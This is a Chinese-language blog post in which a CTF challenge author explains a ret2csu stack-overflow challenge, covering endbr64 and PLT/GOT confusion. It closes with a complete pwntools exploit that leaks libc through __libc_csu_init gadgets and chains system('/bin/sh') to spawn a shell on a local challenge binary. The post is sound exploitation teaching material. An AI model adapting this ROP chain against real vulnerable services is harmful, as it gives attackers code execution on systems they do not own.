ret2csu出題小記

mcrock發表於2024-08-16

第一次出題,沒什麼經驗,按照https://www.cnblogs.com/bpcat/p/16878676.html這篇文章簡單改的程式碼(這文章講的還算細,跟著動調就好了)
直接抄exp肯定是不行了,多加了幾句話導致棧空間有一丟丟偏移,但是影響不大,這裡展現下當時卡住的地方

卡在jmp的位置了,爆段錯誤,於是去拿其他做過的csu題目對比了一下,發現其他的都是佈局完暫存器之後用的ret,這題在佈局完之後是利用call做的跳轉

這裡有一個小知識點,那個endbr64是一個特殊指令集的指令,作用是在一次跳轉中如果不是跳到這個地址就會報錯,防止ret攻擊,但是很顯然這個是很好繞過的,跳到這個地址就好,這裡也有做好規避.至於棧對齊問題,這個也是特殊指令集的指令有要求

好吧這裡的問題是找到plt表去了,基礎不紮實導致的,plt表裡面記錄的是一系列的跳轉指令,而GOT表裡面記錄的是一系列的地址本身,因此我們要跳轉的地方是GOT表而非plt表,而我們要進行洩露的是plt表的內容

修改之後就是慢慢找libc地址了,因為是本地跑的所以可以直接拿本地的地址,因為程式很簡單所以只能洩露read和write,也夠了,libc.rip找一下就拿下了

這裡也是簡單總結下ret2csu的利用點:利用libc裡面的初始化用的__libc_csu_init函式中佈置棧空間的gadget來為暫存器賦值,使得ret呼叫可以傳入引數,配合棧溢位實現ROP鏈的構造,但是因為payload長度比較長因此需要程式有比較大的溢位空間

最後給一下exp吧

#ret2csu
from pwn import*

p = process('./ret2csu')
#p = remote('',)
elf = ELF('./ret2csu')
context(log_level="debug")
#gdb.attach(p)

gadget1_addr = 0x4012ba
gadget2_addr = 0x4012a0
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = 0x404020
leak_got = elf.got['write']
'''
local leak info:
write 4870
read 47d0
'''
main_addr = elf.symbols['main']

############################################LEAK###############################################
#          lj           ret addr             rbx      rbp      r12       r13           r14         r15(call addr)
payload1 = b'a' * 136 + p64(gadget1_addr) + p64(0) + p64(1) + p64(1) + p64(leak_got) + p64(0x16) + p64(write_got) 
#           form csu ret2csu    balance stk  ret addr
payload1 += p64(gadget2_addr) + p64(1)*7 + p64(main_addr)

p.sendlineafter("gadget!",payload1)
p.recv()
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak_addr))

##########################################write################################################
libcbase = leak_addr - 0x114870
sys_addr = libcbase + 0x50d70
print('sys:' + hex(sys_addr))
print('read_got:'+hex(read_got))
bin_sh_addr = libcbase + 0x1d8678
bss_addr = 0x404140
#gdb.attach(p)
#           lj          ret addr             rbx      rbp 	   r12      r13              r14        r15(call addr)
payload2 = b'a' * 136 + p64(gadget1_addr)  + p64(0) + p64(1) + p64(0) + p64(bss_addr) + p64(0x10) + p64(read_got)
#           form csu ret2csu    balance stk  ret addr
payload2 += p64(gadget2_addr) + p64(1)*7 + p64(main_addr)
p.sendline(payload2)
p.send(p64(sys_addr) + b'/bin/sh\x00')

#######################################shell####################################################
#          lj           ret addr             rbx      rbp      r12
payload3 = b'a' * 136 + p64(gadget1_addr)  + p64(0) + p64(1) + p64(bss_addr + 8) + p64(0) + p64(0) + p64(bss_addr) + p64(0x40101a) + p64(gadget2_addr)
gdb.attach(p)
p.sendlineafter(b"gadget!",payload3)
p.interactive()

相關文章